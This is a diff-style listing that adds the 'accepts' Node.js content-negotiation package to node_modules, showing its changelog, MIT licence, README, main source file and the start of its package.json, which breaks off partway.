|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
2.0.0 / 2024-08-31
|
2 |
+
==================
|
3 |
+
|
4 |
+
* Drop node <18 support
|
5 |
+
* deps: mime-types@^3.0.0
|
6 |
+
* deps: negotiator@^1.0.0
|
7 |
+
|
8 |
+
1.3.8 / 2022-02-02
|
9 |
+
==================
|
10 |
+
|
11 |
+
* deps: mime-types@~2.1.34
|
12 |
+
- deps: mime-db@~1.51.0
|
13 |
+
* deps: [email protected]
|
14 |
+
|
15 |
+
1.3.7 / 2019-04-29
|
16 |
+
==================
|
17 |
+
|
18 |
+
* deps: [email protected]
|
19 |
+
- Fix sorting charset, encoding, and language with extra parameters
|
20 |
+
|
21 |
+
1.3.6 / 2019-04-28
|
22 |
+
==================
|
23 |
+
|
24 |
+
* deps: mime-types@~2.1.24
|
25 |
+
- deps: mime-db@~1.40.0
|
26 |
+
|
27 |
+
1.3.5 / 2018-02-28
|
28 |
+
==================
|
29 |
+
|
30 |
+
* deps: mime-types@~2.1.18
|
31 |
+
- deps: mime-db@~1.33.0
|
32 |
+
|
33 |
+
1.3.4 / 2017-08-22
|
34 |
+
==================
|
35 |
+
|
36 |
+
* deps: mime-types@~2.1.16
|
37 |
+
- deps: mime-db@~1.29.0
|
38 |
+
|
39 |
+
1.3.3 / 2016-05-02
|
40 |
+
==================
|
41 |
+
|
42 |
+
* deps: mime-types@~2.1.11
|
43 |
+
- deps: mime-db@~1.23.0
|
44 |
+
* deps: [email protected]
|
45 |
+
- perf: improve `Accept` parsing speed
|
46 |
+
- perf: improve `Accept-Charset` parsing speed
|
47 |
+
- perf: improve `Accept-Encoding` parsing speed
|
48 |
+
- perf: improve `Accept-Language` parsing speed
|
49 |
+
|
50 |
+
1.3.2 / 2016-03-08
|
51 |
+
==================
|
52 |
+
|
53 |
+
* deps: mime-types@~2.1.10
|
54 |
+
- Fix extension of `application/dash+xml`
|
55 |
+
- Update primary extension for `audio/mp4`
|
56 |
+
- deps: mime-db@~1.22.0
|
57 |
+
|
58 |
+
1.3.1 / 2016-01-19
|
59 |
+
==================
|
60 |
+
|
61 |
+
* deps: mime-types@~2.1.9
|
62 |
+
- deps: mime-db@~1.21.0
|
63 |
+
|
64 |
+
1.3.0 / 2015-09-29
|
65 |
+
==================
|
66 |
+
|
67 |
+
* deps: mime-types@~2.1.7
|
68 |
+
- deps: mime-db@~1.19.0
|
69 |
+
* deps: [email protected]
|
70 |
+
- Fix including type extensions in parameters in `Accept` parsing
|
71 |
+
- Fix parsing `Accept` parameters with quoted equals
|
72 |
+
- Fix parsing `Accept` parameters with quoted semicolons
|
73 |
+
- Lazy-load modules from main entry point
|
74 |
+
- perf: delay type concatenation until needed
|
75 |
+
- perf: enable strict mode
|
76 |
+
- perf: hoist regular expressions
|
77 |
+
- perf: remove closures getting spec properties
|
78 |
+
- perf: remove a closure from media type parsing
|
79 |
+
- perf: remove property delete from media type parsing
|
80 |
+
|
81 |
+
1.2.13 / 2015-09-06
|
82 |
+
===================
|
83 |
+
|
84 |
+
* deps: mime-types@~2.1.6
|
85 |
+
- deps: mime-db@~1.18.0
|
86 |
+
|
87 |
+
1.2.12 / 2015-07-30
|
88 |
+
===================
|
89 |
+
|
90 |
+
* deps: mime-types@~2.1.4
|
91 |
+
- deps: mime-db@~1.16.0
|
92 |
+
|
93 |
+
1.2.11 / 2015-07-16
|
94 |
+
===================
|
95 |
+
|
96 |
+
* deps: mime-types@~2.1.3
|
97 |
+
- deps: mime-db@~1.15.0
|
98 |
+
|
99 |
+
1.2.10 / 2015-07-01
|
100 |
+
===================
|
101 |
+
|
102 |
+
* deps: mime-types@~2.1.2
|
103 |
+
- deps: mime-db@~1.14.0
|
104 |
+
|
105 |
+
1.2.9 / 2015-06-08
|
106 |
+
==================
|
107 |
+
|
108 |
+
* deps: mime-types@~2.1.1
|
109 |
+
- perf: fix deopt during mapping
|
110 |
+
|
111 |
+
1.2.8 / 2015-06-07
|
112 |
+
==================
|
113 |
+
|
114 |
+
* deps: mime-types@~2.1.0
|
115 |
+
- deps: mime-db@~1.13.0
|
116 |
+
* perf: avoid argument reassignment & argument slice
|
117 |
+
* perf: avoid negotiator recursive construction
|
118 |
+
* perf: enable strict mode
|
119 |
+
* perf: remove unnecessary bitwise operator
|
120 |
+
|
121 |
+
1.2.7 / 2015-05-10
|
122 |
+
==================
|
123 |
+
|
124 |
+
* deps: [email protected]
|
125 |
+
- Fix media type parameter matching to be case-insensitive
|
126 |
+
|
127 |
+
1.2.6 / 2015-05-07
|
128 |
+
==================
|
129 |
+
|
130 |
+
* deps: mime-types@~2.0.11
|
131 |
+
- deps: mime-db@~1.9.1
|
132 |
+
* deps: [email protected]
|
133 |
+
- Fix comparing media types with quoted values
|
134 |
+
- Fix splitting media types with quoted commas
|
135 |
+
|
136 |
+
1.2.5 / 2015-03-13
|
137 |
+
==================
|
138 |
+
|
139 |
+
* deps: mime-types@~2.0.10
|
140 |
+
- deps: mime-db@~1.8.0
|
141 |
+
|
142 |
+
1.2.4 / 2015-02-14
|
143 |
+
==================
|
144 |
+
|
145 |
+
* Support Node.js 0.6
|
146 |
+
* deps: mime-types@~2.0.9
|
147 |
+
- deps: mime-db@~1.7.0
|
148 |
+
* deps: [email protected]
|
149 |
+
- Fix preference sorting to be stable for long acceptable lists
|
150 |
+
|
151 |
+
1.2.3 / 2015-01-31
|
152 |
+
==================
|
153 |
+
|
154 |
+
* deps: mime-types@~2.0.8
|
155 |
+
- deps: mime-db@~1.6.0
|
156 |
+
|
157 |
+
1.2.2 / 2014-12-30
|
158 |
+
==================
|
159 |
+
|
160 |
+
* deps: mime-types@~2.0.7
|
161 |
+
- deps: mime-db@~1.5.0
|
162 |
+
|
163 |
+
1.2.1 / 2014-12-30
|
164 |
+
==================
|
165 |
+
|
166 |
+
* deps: mime-types@~2.0.5
|
167 |
+
- deps: mime-db@~1.3.1
|
168 |
+
|
169 |
+
1.2.0 / 2014-12-19
|
170 |
+
==================
|
171 |
+
|
172 |
+
* deps: [email protected]
|
173 |
+
- Fix list return order when large accepted list
|
174 |
+
- Fix missing identity encoding when q=0 exists
|
175 |
+
- Remove dynamic building of Negotiator class
|
176 |
+
|
177 |
+
1.1.4 / 2014-12-10
|
178 |
+
==================
|
179 |
+
|
180 |
+
* deps: mime-types@~2.0.4
|
181 |
+
- deps: mime-db@~1.3.0
|
182 |
+
|
183 |
+
1.1.3 / 2014-11-09
|
184 |
+
==================
|
185 |
+
|
186 |
+
* deps: mime-types@~2.0.3
|
187 |
+
- deps: mime-db@~1.2.0
|
188 |
+
|
189 |
+
1.1.2 / 2014-10-14
|
190 |
+
==================
|
191 |
+
|
192 |
+
* deps: [email protected]
|
193 |
+
- Fix error when media type has invalid parameter
|
194 |
+
|
195 |
+
1.1.1 / 2014-09-28
|
196 |
+
==================
|
197 |
+
|
198 |
+
* deps: mime-types@~2.0.2
|
199 |
+
- deps: mime-db@~1.1.0
|
200 |
+
* deps: [email protected]
|
201 |
+
- Fix all negotiations to be case-insensitive
|
202 |
+
- Stable sort preferences of same quality according to client order
|
203 |
+
|
204 |
+
1.1.0 / 2014-09-02
|
205 |
+
==================
|
206 |
+
|
207 |
+
* update `mime-types`
|
208 |
+
|
209 |
+
1.0.7 / 2014-07-04
|
210 |
+
==================
|
211 |
+
|
212 |
+
* Fix wrong type returned from `type` when match after unknown extension
|
213 |
+
|
214 |
+
1.0.6 / 2014-06-24
|
215 |
+
==================
|
216 |
+
|
217 |
+
* deps: [email protected]
|
218 |
+
|
219 |
+
1.0.5 / 2014-06-20
|
220 |
+
==================
|
221 |
+
|
222 |
+
* fix crash when unknown extension given
|
223 |
+
|
224 |
+
1.0.4 / 2014-06-19
|
225 |
+
==================
|
226 |
+
|
227 |
+
* use `mime-types`
|
228 |
+
|
229 |
+
1.0.3 / 2014-06-11
|
230 |
+
==================
|
231 |
+
|
232 |
+
* deps: [email protected]
|
233 |
+
- Order by specificity when quality is the same
|
234 |
+
|
235 |
+
1.0.2 / 2014-05-29
|
236 |
+
==================
|
237 |
+
|
238 |
+
* Fix interpretation when header not in request
|
239 |
+
* deps: pin [email protected]
|
240 |
+
|
241 |
+
1.0.1 / 2014-01-18
|
242 |
+
==================
|
243 |
+
|
244 |
+
* Identity encoding isn't always acceptable
|
245 |
+
* deps: negotiator@~0.4.0
|
246 |
+
|
247 |
+
1.0.0 / 2013-12-27
|
248 |
+
==================
|
249 |
+
|
250 |
+
* Genesis
|
node_modules/accepts/LICENSE
ADDED
@@ -0,0 +1,23 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
(The MIT License)
|
2 |
+
|
3 |
+
Copyright (c) 2014 Jonathan Ong <[email protected]>
|
4 |
+
Copyright (c) 2015 Douglas Christopher Wilson <[email protected]>
|
5 |
+
|
6 |
+
Permission is hereby granted, free of charge, to any person obtaining
|
7 |
+
a copy of this software and associated documentation files (the
|
8 |
+
'Software'), to deal in the Software without restriction, including
|
9 |
+
without limitation the rights to use, copy, modify, merge, publish,
|
10 |
+
distribute, sublicense, and/or sell copies of the Software, and to
|
11 |
+
permit persons to whom the Software is furnished to do so, subject to
|
12 |
+
the following conditions:
|
13 |
+
|
14 |
+
The above copyright notice and this permission notice shall be
|
15 |
+
included in all copies or substantial portions of the Software.
|
16 |
+
|
17 |
+
THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
|
18 |
+
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
19 |
+
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
|
20 |
+
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
|
21 |
+
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
|
22 |
+
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
|
23 |
+
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
node_modules/accepts/README.md
ADDED
@@ -0,0 +1,140 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
# accepts
|
2 |
+
|
3 |
+
[![NPM Version][npm-version-image]][npm-url]
|
4 |
+
[![NPM Downloads][npm-downloads-image]][npm-url]
|
5 |
+
[![Node.js Version][node-version-image]][node-version-url]
|
6 |
+
[![Build Status][github-actions-ci-image]][github-actions-ci-url]
|
7 |
+
[![Test Coverage][coveralls-image]][coveralls-url]
|
8 |
+
|
9 |
+
Higher level content negotiation based on [negotiator](https://www.npmjs.com/package/negotiator).
|
10 |
+
Extracted from [koa](https://www.npmjs.com/package/koa) for general use.
|
11 |
+
|
12 |
+
In addition to negotiator, it allows:
|
13 |
+
|
14 |
+
- Allows types as an array or arguments list, ie `(['text/html', 'application/json'])`
|
15 |
+
as well as `('text/html', 'application/json')`.
|
16 |
+
- Allows type shorthands such as `json`.
|
17 |
+
- Returns `false` when no types match
|
18 |
+
- Treats non-existent headers as `*`
|
19 |
+
|
20 |
+
## Installation
|
21 |
+
|
22 |
+
This is a [Node.js](https://nodejs.org/en/) module available through the
|
23 |
+
[npm registry](https://www.npmjs.com/). Installation is done using the
|
24 |
+
[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):
|
25 |
+
|
26 |
+
```sh
|
27 |
+
$ npm install accepts
|
28 |
+
```
|
29 |
+
|
30 |
+
## API
|
31 |
+
|
32 |
+
```js
|
33 |
+
var accepts = require('accepts')
|
34 |
+
```
|
35 |
+
|
36 |
+
### accepts(req)
|
37 |
+
|
38 |
+
Create a new `Accepts` object for the given `req`.
|
39 |
+
|
40 |
+
#### .charset(charsets)
|
41 |
+
|
42 |
+
Return the first accepted charset. If nothing in `charsets` is accepted,
|
43 |
+
then `false` is returned.
|
44 |
+
|
45 |
+
#### .charsets()
|
46 |
+
|
47 |
+
Return the charsets that the request accepts, in the order of the client's
|
48 |
+
preference (most preferred first).
|
49 |
+
|
50 |
+
#### .encoding(encodings)
|
51 |
+
|
52 |
+
Return the first accepted encoding. If nothing in `encodings` is accepted,
|
53 |
+
then `false` is returned.
|
54 |
+
|
55 |
+
#### .encodings()
|
56 |
+
|
57 |
+
Return the encodings that the request accepts, in the order of the client's
|
58 |
+
preference (most preferred first).
|
59 |
+
|
60 |
+
#### .language(languages)
|
61 |
+
|
62 |
+
Return the first accepted language. If nothing in `languages` is accepted,
|
63 |
+
then `false` is returned.
|
64 |
+
|
65 |
+
#### .languages()
|
66 |
+
|
67 |
+
Return the languages that the request accepts, in the order of the client's
|
68 |
+
preference (most preferred first).
|
69 |
+
|
70 |
+
#### .type(types)
|
71 |
+
|
72 |
+
Return the first accepted type (and it is returned as the same text as what
|
73 |
+
appears in the `types` array). If nothing in `types` is accepted, then `false`
|
74 |
+
is returned.
|
75 |
+
|
76 |
+
The `types` array can contain full MIME types or file extensions. Any value
|
77 |
+
that is not a full MIME type is passed to `require('mime-types').lookup`.
|
78 |
+
|
79 |
+
#### .types()
|
80 |
+
|
81 |
+
Return the types that the request accepts, in the order of the client's
|
82 |
+
preference (most preferred first).
|
83 |
+
|
84 |
+
## Examples
|
85 |
+
|
86 |
+
### Simple type negotiation
|
87 |
+
|
88 |
+
This simple example shows how to use `accepts` to return a different typed
|
89 |
+
respond body based on what the client wants to accept. The server lists it's
|
90 |
+
preferences in order and will get back the best match between the client and
|
91 |
+
server.
|
92 |
+
|
93 |
+
```js
|
94 |
+
var accepts = require('accepts')
|
95 |
+
var http = require('http')
|
96 |
+
|
97 |
+
function app (req, res) {
|
98 |
+
var accept = accepts(req)
|
99 |
+
|
100 |
+
// the order of this list is significant; should be server preferred order
|
101 |
+
switch (accept.type(['json', 'html'])) {
|
102 |
+
case 'json':
|
103 |
+
res.setHeader('Content-Type', 'application/json')
|
104 |
+
res.write('{"hello":"world!"}')
|
105 |
+
break
|
106 |
+
case 'html':
|
107 |
+
res.setHeader('Content-Type', 'text/html')
|
108 |
+
res.write('<b>hello, world!</b>')
|
109 |
+
break
|
110 |
+
default:
|
111 |
+
// the fallback is text/plain, so no need to specify it above
|
112 |
+
res.setHeader('Content-Type', 'text/plain')
|
113 |
+
res.write('hello, world!')
|
114 |
+
break
|
115 |
+
}
|
116 |
+
|
117 |
+
res.end()
|
118 |
+
}
|
119 |
+
|
120 |
+
http.createServer(app).listen(3000)
|
121 |
+
```
|
122 |
+
|
123 |
+
You can test this out with the cURL program:
|
124 |
+
```sh
|
125 |
+
curl -I -H'Accept: text/html' http://localhost:3000/
|
126 |
+
```
|
127 |
+
|
128 |
+
## License
|
129 |
+
|
130 |
+
[MIT](LICENSE)
|
131 |
+
|
132 |
+
[coveralls-image]: https://badgen.net/coveralls/c/github/jshttp/accepts/master
|
133 |
+
[coveralls-url]: https://coveralls.io/r/jshttp/accepts?branch=master
|
134 |
+
[github-actions-ci-image]: https://badgen.net/github/checks/jshttp/accepts/master?label=ci
|
135 |
+
[github-actions-ci-url]: https://github.com/jshttp/accepts/actions/workflows/ci.yml
|
136 |
+
[node-version-image]: https://badgen.net/npm/node/accepts
|
137 |
+
[node-version-url]: https://nodejs.org/en/download
|
138 |
+
[npm-downloads-image]: https://badgen.net/npm/dm/accepts
|
139 |
+
[npm-url]: https://npmjs.org/package/accepts
|
140 |
+
[npm-version-image]: https://badgen.net/npm/v/accepts
|
node_modules/accepts/index.js
ADDED
@@ -0,0 +1,238 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
/*!
|
2 |
+
* accepts
|
3 |
+
* Copyright(c) 2014 Jonathan Ong
|
4 |
+
* Copyright(c) 2015 Douglas Christopher Wilson
|
5 |
+
* MIT Licensed
|
6 |
+
*/
|
7 |
+
|
8 |
+
'use strict'
|
9 |
+
|
10 |
+
/**
|
11 |
+
* Module dependencies.
|
12 |
+
* @private
|
13 |
+
*/
|
14 |
+
|
15 |
+
var Negotiator = require('negotiator')
|
16 |
+
var mime = require('mime-types')
|
17 |
+
|
18 |
+
/**
|
19 |
+
* Module exports.
|
20 |
+
* @public
|
21 |
+
*/
|
22 |
+
|
23 |
+
module.exports = Accepts
|
24 |
+
|
25 |
+
/**
|
26 |
+
* Create a new Accepts object for the given req.
|
27 |
+
*
|
28 |
+
* @param {object} req
|
29 |
+
* @public
|
30 |
+
*/
|
31 |
+
|
32 |
+
function Accepts (req) {
|
33 |
+
if (!(this instanceof Accepts)) {
|
34 |
+
return new Accepts(req)
|
35 |
+
}
|
36 |
+
|
37 |
+
this.headers = req.headers
|
38 |
+
this.negotiator = new Negotiator(req)
|
39 |
+
}
|
40 |
+
|
41 |
+
/**
|
42 |
+
* Check if the given `type(s)` is acceptable, returning
|
43 |
+
* the best match when true, otherwise `undefined`, in which
|
44 |
+
* case you should respond with 406 "Not Acceptable".
|
45 |
+
*
|
46 |
+
* The `type` value may be a single mime type string
|
47 |
+
* such as "application/json", the extension name
|
48 |
+
* such as "json" or an array `["json", "html", "text/plain"]`. When a list
|
49 |
+
* or array is given the _best_ match, if any is returned.
|
50 |
+
*
|
51 |
+
* Examples:
|
52 |
+
*
|
53 |
+
* // Accept: text/html
|
54 |
+
* this.types('html');
|
55 |
+
* // => "html"
|
56 |
+
*
|
57 |
+
* // Accept: text/*, application/json
|
58 |
+
* this.types('html');
|
59 |
+
* // => "html"
|
60 |
+
* this.types('text/html');
|
61 |
+
* // => "text/html"
|
62 |
+
* this.types('json', 'text');
|
63 |
+
* // => "json"
|
64 |
+
* this.types('application/json');
|
65 |
+
* // => "application/json"
|
66 |
+
*
|
67 |
+
* // Accept: text/*, application/json
|
68 |
+
* this.types('image/png');
|
69 |
+
* this.types('png');
|
70 |
+
* // => undefined
|
71 |
+
*
|
72 |
+
* // Accept: text/*;q=.5, application/json
|
73 |
+
* this.types(['html', 'json']);
|
74 |
+
* this.types('html', 'json');
|
75 |
+
* // => "json"
|
76 |
+
*
|
77 |
+
* @param {String|Array} types...
|
78 |
+
* @return {String|Array|Boolean}
|
79 |
+
* @public
|
80 |
+
*/
|
81 |
+
|
82 |
+
Accepts.prototype.type =
|
83 |
+
Accepts.prototype.types = function (types_) {
|
84 |
+
var types = types_
|
85 |
+
|
86 |
+
// support flattened arguments
|
87 |
+
if (types && !Array.isArray(types)) {
|
88 |
+
types = new Array(arguments.length)
|
89 |
+
for (var i = 0; i < types.length; i++) {
|
90 |
+
types[i] = arguments[i]
|
91 |
+
}
|
92 |
+
}
|
93 |
+
|
94 |
+
// no types, return all requested types
|
95 |
+
if (!types || types.length === 0) {
|
96 |
+
return this.negotiator.mediaTypes()
|
97 |
+
}
|
98 |
+
|
99 |
+
// no accept header, return first given type
|
100 |
+
if (!this.headers.accept) {
|
101 |
+
return types[0]
|
102 |
+
}
|
103 |
+
|
104 |
+
var mimes = types.map(extToMime)
|
105 |
+
var accepts = this.negotiator.mediaTypes(mimes.filter(validMime))
|
106 |
+
var first = accepts[0]
|
107 |
+
|
108 |
+
return first
|
109 |
+
? types[mimes.indexOf(first)]
|
110 |
+
: false
|
111 |
+
}
|
112 |
+
|
113 |
+
/**
|
114 |
+
* Return accepted encodings or best fit based on `encodings`.
|
115 |
+
*
|
116 |
+
* Given `Accept-Encoding: gzip, deflate`
|
117 |
+
* an array sorted by quality is returned:
|
118 |
+
*
|
119 |
+
* ['gzip', 'deflate']
|
120 |
+
*
|
121 |
+
* @param {String|Array} encodings...
|
122 |
+
* @return {String|Array}
|
123 |
+
* @public
|
124 |
+
*/
|
125 |
+
|
126 |
+
Accepts.prototype.encoding =
|
127 |
+
Accepts.prototype.encodings = function (encodings_) {
|
128 |
+
var encodings = encodings_
|
129 |
+
|
130 |
+
// support flattened arguments
|
131 |
+
if (encodings && !Array.isArray(encodings)) {
|
132 |
+
encodings = new Array(arguments.length)
|
133 |
+
for (var i = 0; i < encodings.length; i++) {
|
134 |
+
encodings[i] = arguments[i]
|
135 |
+
}
|
136 |
+
}
|
137 |
+
|
138 |
+
// no encodings, return all requested encodings
|
139 |
+
if (!encodings || encodings.length === 0) {
|
140 |
+
return this.negotiator.encodings()
|
141 |
+
}
|
142 |
+
|
143 |
+
return this.negotiator.encodings(encodings)[0] || false
|
144 |
+
}
|
145 |
+
|
146 |
+
/**
|
147 |
+
* Return accepted charsets or best fit based on `charsets`.
|
148 |
+
*
|
149 |
+
* Given `Accept-Charset: utf-8, iso-8859-1;q=0.2, utf-7;q=0.5`
|
150 |
+
* an array sorted by quality is returned:
|
151 |
+
*
|
152 |
+
* ['utf-8', 'utf-7', 'iso-8859-1']
|
153 |
+
*
|
154 |
+
* @param {String|Array} charsets...
|
155 |
+
* @return {String|Array}
|
156 |
+
* @public
|
157 |
+
*/
|
158 |
+
|
159 |
+
Accepts.prototype.charset =
|
160 |
+
Accepts.prototype.charsets = function (charsets_) {
|
161 |
+
var charsets = charsets_
|
162 |
+
|
163 |
+
// support flattened arguments
|
164 |
+
if (charsets && !Array.isArray(charsets)) {
|
165 |
+
charsets = new Array(arguments.length)
|
166 |
+
for (var i = 0; i < charsets.length; i++) {
|
167 |
+
charsets[i] = arguments[i]
|
168 |
+
}
|
169 |
+
}
|
170 |
+
|
171 |
+
// no charsets, return all requested charsets
|
172 |
+
if (!charsets || charsets.length === 0) {
|
173 |
+
return this.negotiator.charsets()
|
174 |
+
}
|
175 |
+
|
176 |
+
return this.negotiator.charsets(charsets)[0] || false
|
177 |
+
}
|
178 |
+
|
179 |
+
/**
|
180 |
+
* Return accepted languages or best fit based on `langs`.
|
181 |
+
*
|
182 |
+
* Given `Accept-Language: en;q=0.8, es, pt`
|
183 |
+
* an array sorted by quality is returned:
|
184 |
+
*
|
185 |
+
* ['es', 'pt', 'en']
|
186 |
+
*
|
187 |
+
* @param {String|Array} langs...
|
188 |
+
* @return {Array|String}
|
189 |
+
* @public
|
190 |
+
*/
|
191 |
+
|
192 |
+
Accepts.prototype.lang =
|
193 |
+
Accepts.prototype.langs =
|
194 |
+
Accepts.prototype.language =
|
195 |
+
Accepts.prototype.languages = function (languages_) {
|
196 |
+
var languages = languages_
|
197 |
+
|
198 |
+
// support flattened arguments
|
199 |
+
if (languages && !Array.isArray(languages)) {
|
200 |
+
languages = new Array(arguments.length)
|
201 |
+
for (var i = 0; i < languages.length; i++) {
|
202 |
+
languages[i] = arguments[i]
|
203 |
+
}
|
204 |
+
}
|
205 |
+
|
206 |
+
// no languages, return all requested languages
|
207 |
+
if (!languages || languages.length === 0) {
|
208 |
+
return this.negotiator.languages()
|
209 |
+
}
|
210 |
+
|
211 |
+
return this.negotiator.languages(languages)[0] || false
|
212 |
+
}
|
213 |
+
|
214 |
+
/**
|
215 |
+
* Convert extnames to mime.
|
216 |
+
*
|
217 |
+
* @param {String} type
|
218 |
+
* @return {String}
|
219 |
+
* @private
|
220 |
+
*/
|
221 |
+
|
222 |
+
function extToMime (type) {
|
223 |
+
return type.indexOf('/') === -1
|
224 |
+
? mime.lookup(type)
|
225 |
+
: type
|
226 |
+
}
|
227 |
+
|
228 |
+
/**
|
229 |
+
* Check if mime is valid.
|
230 |
+
*
|
231 |
+
* @param {String} type
|
232 |
+
* @return {Boolean}
|
233 |
+
* @private
|
234 |
+
*/
|
235 |
+
|
236 |
+
function validMime (type) {
|
237 |
+
return typeof type === 'string'
|
238 |
+
}
|
node_modules/accepts/package.json
ADDED
@@ -0,0 +1,47 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"name": "accepts",
|
3 |
+
"description": "Higher-level content negotiation",
|
4 |
+
"version": "2.0.0",
|
5 |
+
"contributors": [
|
6 |
+
"Douglas Christopher Wilson <[email protected]>",
|
7 |
+
"Jonathan Ong <[email protected]> (http://jongleberry.com)"
|
8 |
+
],
|
9 |
+
"license": "MIT",
|
10 |
+
"repository": "jshttp/accepts",
|
11 |
+
"dependencies": {
|
12 |
+
"mime-types": "^3.0.0",
|
13 |
+
"negotiator": "^1.0.0"
|
14 |
+
},
|
15 |
+
"devDependencies": {
|
16 |
+
"deep-equal": "1.0.1",
|
17 |
+
"eslint": "7.32.0",
|
18 |
+
"eslint-config-standard": "14.1.1",
|
19 |
+
"eslint-plugin-import": "2.25.4",
|
20 |
+
"eslint-plugin-markdown": "2.2.1",
|
21 |
+
"eslint-plugin-node": "11.1.0",
|
22 |
+
"eslint-plugin-promise": "4.3.1",
|
23 |
+
"eslint-plugin-standard": "4.1.0",
|
24 |
+
"mocha": "9.2.0",
|
25 |
+
"nyc": "15.1.0"
|
26 |
+
},
|
27 |
+
"files": [
|
28 |
+
"LICENSE",
|
29 |
+
"HISTORY.md",
|
30 |
+
"index.js"
|
31 |
+
],
|
32 |
+
"engines": {
|
33 |
+
"node": ">= 0.6"
|
34 |
+
},
|
35 |
+
"scripts": {
|
36 |
+
"lint": "eslint .",
|
37 |
+
"test": "mocha --reporter spec --check-leaks --bail test/",
|
38 |
+
"test-ci": "nyc --reporter=lcov --reporter=text npm test",
|
39 |
